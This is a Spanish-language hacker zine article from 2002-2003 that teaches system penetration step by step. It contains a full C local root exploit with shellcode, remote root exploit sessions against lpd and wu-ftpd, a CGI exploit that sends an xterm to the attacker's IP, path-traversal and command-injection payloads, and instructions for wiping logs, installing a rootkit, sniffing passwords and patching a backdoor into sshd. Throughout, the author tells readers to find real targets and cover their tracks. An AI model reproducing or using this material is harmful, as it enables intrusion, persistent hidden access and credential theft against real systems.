   ______   ______   ______   ______   ______   ______   ______   ______
  |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____|      
__| |______| |______| |______| |______| |______| |______| |______| |________
----------------------------------------------------------------------------
Codigo     Titulo                                       Autor
SWP03-03   Metodos de PENEtracion de sistemas           Sonny
----------------------------------------------------------------------------

sonico60@hotmail.com

1) Exploits Remotos (ejemplos)
  a) Red hat 7.0 daemon lpd
  b) Red hat 7.2 daemon wuftpd
  c) Sshd daemon exploit
2) Exploits Locales (ejemplos)
  a) Prtace.c
  b) Epcs2.c
3) Exportando una xterm desde un cgi
4) Descubriendo y aprovechando de cgi mal programados
  a) Ver archivos
  b) Ejecutar comandos
5) Borrando Huellas
6) Troyanizando Programas
7) Sniffeando
8) Sshd daemon backdoor


-----------------------------------------------------------------------------


1) Exploits Remotos (ejemplos)

Bueno veamos un poco de exploits remotos, para los que todavia no los conocen
;-) 

a) Red hat 7.0 daemon lpd

Este exploit lo consiguen en http://www.security.nnov.ru/files/SEClpd.c


sh-2.05# ./seclpd www.redhat.com brute -t 0
+++ Security.is remote exploit for LPRng/lpd by DiGiT
 
+++ Exploit information
+++ Victim: www.redhat.com
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0
 
+++ Attacking www.redhat.com with our format string
+++ Brute force man, relax and enjoy the ride ;>
+++ The eip_address is 0xbffff3dc
 
-   [+] shell located on www.redhat.com
-   [+] Enter Commands at will
 
Linux www.redhat.com 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
ls
bin
boot
dev
etc
home
lib
local
lost+found
misc
mnt
opt
proc
root
sbin
tftpboot
tmp
usr
var

cat /etc/issue
 
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22 on an i686

-----------------------------------------------------------------------------

b) Red hat 7.2 daemon wuftpd

(Este exploit  es unreleased, lo que quiere  decir que no es  para el publico
;-) quizas se publique pronto)

Bueno este exploit funciona en todas  estos sistemas pero vamos a probarlo en
el Red hat 7.2 

  1 | Caldera eDesktop|eServer|OpenLinux 2.3 update [wu-ftpd-2.6.1-13OL.i386.rpm]
  2 | Debian potato [wu-ftpd_2.6.0-3.deb]
  3 | Debian potato [wu-ftpd_2.6.0-5.1.deb]
  4 | Debian potato [wu-ftpd_2.6.0-5.3.deb]
  5 | Debian sid [wu-ftpd_2.6.1-5_i386.deb]
  6 | Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]
  7 | Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]
  8 | Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]
  9 | Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]
 10 | Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]
 11 | RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]
 12 | RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]
 13 | RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]
 14 | RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]
 15 | RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]
 16 | RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]
 17 | RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]
 18 | RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]
 19 | RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]
 20 | RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]
 21 | SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]
 22 | SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]
 23 | SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]
 24 | SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]
 25 | SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]
 26 | SuSE 7.0 [wuftpd.rpm]
 27 | SuSE 7.0 wu-2.4.2 [wuftpd.rpm]
 28 | SuSE 7.1 [wuftpd.rpm]
 29 | SuSE 7.1 wu-2.4.2 [wuftpd.rpm]
 30 | SuSE 7.2 [wuftpd.rpm]
 31 | SuSE 7.2 wu-2.4.2 [wuftpd.rpm]
 32 | SuSE 7.3 [wuftpd.rpm]
 33 | SuSE 7.3 wu-2.4.2 [wuftpd.rpm]
 34 | Slackware 7.1

Vamos a probar con  un red hat 7.2 con el wu-2.6.1-18  instalado y con acceso
anonymous 

sh-2.05# ./wu -a -d host -vv
7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, synnergy.net !).
Compiled for MnM 01/12/2001..pr0t!
 
# trying to log into host with (ftp/mozilla@) ... connected.
# banner: 220 ns1 FTP server (Version wu-2.6.1-18) ready.
# successfully selected target from banner
using 56 byte shellcode:
/* shellcode, 56 bytes */
90 90 90 90 90 90 90 90  90 90 90 90 31 db 43 b8  | ............1.C.
0b 74 51 0b 2d 01 01 01  01 50 89 e1 6a 04 58 89  | .tQ.-....P..j.X.
c2 cd 80 eb 0e 31 db f7  e3 fe ca 59 6a 03 58 cd  | .....1.....Yj.X.
80 eb 05 e8 ed ff ff ff                           | ........
 
### TARGET: RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]
 
# 1. filling memory gaps
PWD path (1): 257 "/" is current directory.
 
# 2. sending bigbuf + fakechunk
        building chunk: ([0x08072c30] = 0x08085ab8) in 238 bytes
/* xpbuf, 494 bytes */
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
30 30 30 30 30 30 30 30  30 30 30 30 30 30 30 30  | 0000000000000000
f0 ff ff ff fc ff ff ff  24 2c 07 08 b8 5a 08 08  | ........$,...Z..
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c eb 0c  eb 0c eb 0c eb 0c eb 0c  | ................
eb 0c eb 0c eb 0c 90 90  90 90 90 90 90 90 90 90  | ................
90 90 31 db 43 b8 0b 74  51 0b 2d 01 01 01 01 50  | ..1.C..tQ.-....P
89 e1 6a 04 58 89 c2 cd  80 eb 0e 31 db f7 e3 fe  | ..j.X......1....
ca 59 6a 03 58 cd 80 eb  05 e8 ed ff ff ff        | .Yj.X.........
 
padchunk_size = 0x00000018
==> 15
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
############################################################################
uid=0(root) gid=0(root) groups=50(ftp)
Linux ns1 2.4.7-10enterprise #1 SMP Thu Sep 6 16:48:20 EDT 2001 i686 unknown
cat /etc/issue
Red Hat Linux release 7.2 (Enigma)
Kernel \r on an \m

----------------------------------------------------------------------------

c) Sshd daemon exploit 

Bueno pensaba ponerme a explicar todo, pero para que si encontre esto:

http://www.incidents.org/papers/ssh_exploit.pdf

el xploit lo consiguen en packetstorm, busquenlo bien ;-)


-----------------------------------------------------------------------------


2) Exploits Locales (ejemplos)

a) Prtace.c

Vamos un exploit para el kernel 2.4.9 y para arriba


/* 
ptrace24.c [ improved by sd@ircnet ] 
~~~~~~~~~~ 
exploit for execve/ptrace race condition in Linux kernel up to 2.4.9 

Originally by Nergal. 
Improved by sd. 

This sploit doesn't need offset in victim binary 
coz were using regs.eip instead (shellcode is non-self modifying) 

It should work on openwall-patched kernels (but not on 
Openwall GNU Linux as Nergal mentioned in advisory) 

Use: 
cc ptrace24.c -o ptrace24 
./ptrace24 

It gives instant root with any of: su, newgrp, screen [if +s] 
(assuming if no password requiered) just change #define TARGET. 

NOTE: This works only if it's executed on a tty [i.e. interactively]. 
*/ 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <sys/ptrace.h> 
#include <sys/ioctl.h> 
#include <linux/user.h> 
#include <limits.h> 
#include <unistd.h> 
#include <signal.h> 
#include <wait.h> 
#include <fcntl.h> 

#define VICTIM "/usr/bin/passwd" 
#define TARGET "/usr/bin/newgrp" 

/* quite tricky shellcode, it doesn't need +W, so we can use it in .text */ 
/* setuid(0) + /bin/sh = 31 bytes*/ 
char sc[]= 
"\x6a\x17\x58\x31\xdb\xcd\x80\x31" 
"\xd2\x52\x68\x6e\x2f\x73\x68\x68" 
"\x2f\x2f\x62\x69\x89\xe3\x52\x53" 
"\x89\xe1\x8d\x42\x0b\xcd\x80"; 

void ex_passwd(int fd) 
{ 
char z; 
dup2(2, 1); 
if (read(fd, &z, 1) <= 0) { 
perror("read:"); 
exit(1); 
} 
execl(VICTIM, VICTIM, 0); 
perror("execl"); 
exit(1); 
} 

void insert(char *us, int pid) 
{ 
char buf[100]; 
char *ptr = buf; 
sprintf(buf, "exec %s %i\n", us, pid); 
while (*ptr && !ioctl(0, TIOCSTI, ptr++)); 
} 


int insert_shellcode(int pid) 
{ 
int i, wpid; 
struct user_regs_struct regs; 

if (ptrace(PTRACE_GETREGS, pid, 0, &regs)) { 
perror("PTRACE_GETREGS"); 
exit(0); 
} 

for (i = 0; i <= strlen(sc) + 1; i += 4) 
ptrace(PTRACE_POKETEXT, pid, regs.eip + i, 
*(unsigned int *) (sc + i)); 

if (ptrace(PTRACE_SETREGS, pid, 0, &regs)) 
exit(0); 

if (ptrace(PTRACE_DETACH, pid, 0, 0)) 
exit(0); 

close(2); 
do { 
wpid = waitpid(-1, NULL, 0); 
if (wpid == -1) { 
perror("waitpid"); 
exit(1); 
} 
} while (wpid != pid); 
return 0; 
} 

int 
main(int argc, char *argv[]) 
{ 
int res; 
int pid, n; 
int pipa[2]; 

if ((argc == 2) && ((pid = atoi(argv[1])))) { 
return insert_shellcode(pid); 
} 

pipe(pipa); 

switch (pid = fork()) { 
case -1: 
perror("fork"); 
exit(1); 
case 0: 
close(pipa[1]); 
ex_passwd(pipa[0]); 
default:; 
} 


res = ptrace(PTRACE_ATTACH, pid, 0, 0); 

if (res) { 
perror("attach"); 
exit(1); 
} 

res = waitpid(-1, NULL, 0); 
if (res == -1) { 
perror("waitpid"); 
exit(1); 
} 

res = ptrace(PTRACE_CONT, pid, 0, 0); 
if (res) { 
perror("cont"); 
exit(1); 
} 

fprintf(stderr, "attached\n"); 

switch (fork()) { 
case -1: 
perror("fork"); 
exit(1); 
case 0: 
close(pipa[1]); 
sleep(1); 
insert(argv[0], pid); 
do { 
char c; 
n = read(pipa[0], &c, 1); 
} while (n > 0); 
if (n < 0) 
perror("read"); 
exit(0); 
default:; 
} 
close(pipa[0]); 

dup2(pipa[1], 2); 
close(pipa[1]); 
/* Decrystallizing reason */ 
setenv("LD_DEBUG", "libs", 1); 
/* With strength I burn */ 
execl(TARGET, TARGET, 0); 
return 1; 
} 



ejemplo:

usuario@localhost:/tmp > uname -a
Linux aps 2.4.4-64GB-SMP #1 SMP Fri May 18 14:54:08 GMT 2001 i686 unknown
usuario@localhost:/tmp > ./prtace
attached
sh-2.05# id
uid=0(root) gid=100(users) egid=0(root) groups=100(users)
sh-2.05#        

Si no da root a la primera vez ejecutenlo varias veces, no se por que paso de
ejecutarlo 4 veces y recien me dio root.


-----------------------------------------------------------------------------


b) Epcs2.c

Bueno vamos con otro ejemplo:

Red Hat Linux release 7.0 (Guinness)

sh-2.04$ uname -a
Linux www.presidencia.gov.ar 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000 i686 unknown
sh-2.04$ ./epcs2
execl: Operation not permitted
ptrace: PTRACE_GETREGS: No such process
d0h! error!
sh-2.04$ ./epcs2
bug exploited successfully.
enjoy!
sh-2.04# id
uid=0(root) gid=0(root) groups=99(nobody)
sh-2.04#     

Este exploit lo pueden conseguir en mirrors de hack.co.za , se van al google

mirror+hack+co+za

y listo ;-)

Bueno me podria colgar una hora  mostrando exploit asi que solo muestro estos
;-) 


-----------------------------------------------------------------------------


3) Exportando una xterm desde un cgi


Ahora Veamos exportarnos una shell desde un cgi con el xterm ;-)

Bueno  esto   ponemos  en  nuestra   maquina,  teniendo  abierto  el   X  ;-)
maquinavulnerable es la maquina que tiene el bug en el cgi 

xhost + maquinavulnerable 

despues ejecutamos el exploit
que lo conseguimos en http://www.security.nnov.ru/search/document.asp?docid=2482


perl ezboard.pl -o -250 -c '/usr/bin/xterm -display miip:0' http://maquinavulnerable/cgi-bin/ezboard/ezboard.cgi

Donde dice miip pones por supuesto  nuestra ip, si no les llega ninguna shell
puede ser varias cosas: 

- El firewall de la maquina no deja entrar nada.
- El path del xterm esta mal, busquen el correcto en la maquina.

Bueno si todo anduvo bien recibirian en la maquina una xterm ;-)

Acuerdense de  borrar los  logs del  httpd por que  sino va  a quedar  que se
exportaron una xterm y con el ip de ustedes ;-)


-----------------------------------------------------------------------------


4) Descubriendo y aprovechando de cgi mal programados

a) Ver archivos

Haber vamos a poner varios ejemplos:

No puse los nombres de los cgis por que seria un descontrol jejeje

Esto lo que hace es mostrar el passwd o cualquier otro file

?filename=../../../../../../etc/passwd
?../../../../../../../etc/passwd
?arch=../../../../etc/passwd%00
?file=../../../../../../../../etc/passwd
?archivo=../../../../../../../../../../etc/passwd
?pg=../../../../../../../../../../etc/passwd

Esto demuestra los errores de programacion en cgis, es muy facil descubrirlo,
cuando entres  a un  pagina y  veas que  hay un cgi  que te  dice algo  asi o
sospechas que redirige a un file  te pones a jugar con esto ../../../../ esto
puede  variar hay  que ir  probando empezando  solo asi  /etc/passwd  y hasta
llegar a  ../../../../../../../../../../../../../../../../etc/passwd y mas si
queres, hay veces  que los cgi son  por ejemplo para ver imagenes  tipo jpg o
archivos doc.

Entonces cuando vos pone ../../../../../../../../etc/passwd te va a decir que
no  encuentra el  file  passwd.doc o  passwd.jpg,  entonces lo  que haces  es
agregar esto %00 quedaria asi ../../../../../../../../etc/passwd%00

bueno a ir al google y a gastarlo ;-)


------------------------------------------------------------------------------


b) Ejecutar comandos


Ahora vamos  a ver  como aprovecharnos de  cgi mal programados  para ejecutar
comandos.

Bue... voy a ser bueno ... aca tienen algunos nombres para que se diviertan:

ping.php
ping.asp
trace.pl
trace.html
diag.cgi
traceroute


Bueno busquemos algun sitio con algun php, cgi, con formularios, ejemplo:

Formulario de trace.cgi

Te dice en el box que pongas el sitio para hacer un trace, ahi pones esto ;id
y no apretes enter, con el mouse apreta en el boton de submit o cual fuera. 

y te va a salir algo asi:

Performing trace on ;id...
uid=48apache
gid=48(apache) groups=48(apache) 

y ahora reemplaza el ;id por el comando que quieras por ejemplo:

;cat%20/etc/passwd

Lo que provoca esto es lo siguiente, el  php o cgi que esta en el site lo que
permite es que hagas  un trace, ping, etc.. a un sitio  pero al vos poner ;id
lo que haces es que el server ejecute esto traceroute ;id

se entiende?

facil no?


-----------------------------------------------------------------------------


5) Borrando Huellas


Pasemos ahora a borrar huellas

wget http://www.xes.cx/download/wipe-1.00.tar

Bueno vamos a ver que facil es:

./wipe u admin
./wipe l admin
./wipe w admin

con esto borrar los logs del admin(wtmp, utmp y lastlog)

sh-2.05# finger admin
Login: admin                          Name:
Directory: /home/admin                Shell: /bin/bash
Never logged in.
Mail last read Wed May 29 07:55 2002 (VET)
No Plan.
sh-2.05#   

Lo que  siempre tambien hay que  tener en cuenta en  borrar el .bash_history,
.sh_history mas que borrar conviene editarlo ;-)


-----------------------------------------------------------------------------


6) Troyanizando Programas


wget http://packetstormsecurity.org/UNIX/penetration/rootkits/ark-1.0.1.tar.gz

Estos programas tiene troyanizados:

syslogd
login
sshd
ls
du
ps
pstree
killall
top
netstat


a ver veamos como hacer ;-)
Probemos con el ps,pstree,ls,du,killall

Por ejemplo creamos un dir en /usr/bin/.list

ahi ponemos el ark-1.0.1 y lo descomprimimos.

Ahora instalemos los backdoors

Conviene crear un directorio con  los programas originales, asi no usamos los
backdoors y usamos los verdaderos. Entonces ponemos

dentro del dir /usr/bin/.list

sh-2.05# mkdir comandos

Ahora ponemos

sh-2.05# cp /bin/ps /usr/bin/.list/comandos
sh-2.05# cp /bin/ls /usr/bin/.list/comandos
sh-2.05# cp /usr/bin/pstree /usr/bin/.list/comandos
sh-2.05# cp /usr/bin/du /usr/bin/.list/comandos
sh-2.05# cp /usr/bin/killall /usr/bin/.list/comandos

Lo que hacemos  con esto es un backup  del ps, ls, pstree, du,  killall en el
dir /usr/bin/.list/comandos 

Ahora entramos al dir con los backdoors

sh-2.05# cd ark-1.0.1

Y reemplazamos los programos x los backdoors

sh-2.05# cp ls /bin/ls
sh-2.05# cp ps /bin/ps
sh-2.05# cp du /usr/bin/du
sh-2.05# cp pstree /usr/bin/pstree
sh-2.05# cp killall /usr/bin/killall

Despues de hacer esto tenemos que crear un dir en

sh-2.05# cd /
sh-2.05# mkdir sh-2.05# 
sh-2.05# cd /dev/ptyxx

Y ahora por ejemplo  si no queremos que con un ls  se pueda ver el directorio
/usr/bin/.list

Ponemos dentro de /dev/ptyxx un archivo que se llame .file

sh-2.05# echo .list >> .file

Ahora con un ls no se va a poder ver el dir /usr/bin/.list
Podemos poner mas directorios en el archivo .file , los que querramos ;-)

Ahora si no queremos que se vean procesos con el ps ponemos esto:

sh-2.05# echo 2 in.telnetd >> .proc
sh-2.05# echo 2 ss >> .proc
sh-2.05# echo 2 psybnc >> .proc
sh-2.05# echo 2 sniffer >> .proc

Con esto ocultamos todos los procesos:

in.telnetd
ss
psybnc
sniffer

Si ponemos  un ps -ax no  vamos a ver que  el ss esta corriendo, o  el psybnc
etc...


Como veran esto es muy facil  y muy util, si quieren troyanizar mas programas
lean el README del ark


-----------------------------------------------------------------------------


7) Sniffeando

Ahora vamos a sniffear!!!!!

Super Sniffer v1.30 

wget http://online.securityfocus.com/data/tools/ss-1.3.tgz

./ss -d eth0 -o outfile -x

Despues ponemos una clave para que encripte todo los pass que saque ;-)

Bueno esperen un dia, asi le damos tiempo para que junte pass

Bueno cuando queremos que desencripte los pass ponemos asi

./decrypt outfile desfile

Ponen la clave que pusieron cuando ejecutaron el ss

Despues ponen cat desfile | more

y listo ;-) 


------------------------------------------------------------------------------


8) Sshd daemon backdoor

Este backdoor es para la version openssh-2.9.9p2

Aca te bajas el backdoor

http://game1.batmap.com/patch/patch-opensshhack-1.2b.tgz

Bueno vamos a instalarlo

Nos ponemos en el dir /usr/local y hacemos todo esto:


# cd /usr/local
# wget ftp://ftp.rediris.es/mirror/OpenBSD/OpenSSH/portable/openssh-2.9.9p2.tar.gz
# tar zxvf openssh-2.9.9p2.tar.gz

En estos 3 pasos lo que hacemos es bajar el openssh-2.9.9p2 ahora tenemos que
instalarle el backdoor.

# cp patch-opensshhack-2.9.9p2 /usr/local
# cd /usr/local/openssh-2.9.9p2
# patch -p1 < ../patch-opensshhack-2.9.9p2

Con esto pusimos el backdoor en el programa original

Si queremos podemos configurar el backdoor cambiando en el archivo servconf.h 

Estos 2 valores:

- HACK_UNIVERSAL_USER     "r0man"
- HACK_UNIVERSAL_PASS     "31337";

Ahora configuramos el opennsh de la siguiente manera, que es la mas comun ;-)

# ./configure --prefix=/usr/local/openssh --with-tcp-wrappers
# make
# make install

Ahora iniciamos el openssh

# cd /usr/local/openssh
# /usr/local/openssh/sbin/sshd


Acuerdense de instalar el sshd en el /etc/rc.d/*

Para que cada vez que inicie la maquina arranque el sshd.

Bueno ahora desde cualquier maquina ponemos:

ssh -l r0man host

Ponemos la clave  31337 que es la  default y listo tenemos una  shell de root
sin dejar rastro de nada.


-----------------------------------------------------------------------------


Bueno espero que les haya gustado este texto, como veran es muy claro y no da
vueltas en boludeces, asi soy yo ;-)
Si quieren preguntarme algo mail, ok Byes!!!!



   ______   ______   ______   ______   ______   ______   ______   ______
  |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____| |  ____|      
__| |______| |______| |______| |______| |______| |______| |______| |______
--------------------------------------------------------------------------

                      --                             --
			 Security Wari Projects / SWP  |
		      (c) Todos los Derechos Reservados
		     |     PERU / 2002 - 2003           
                      --                              --
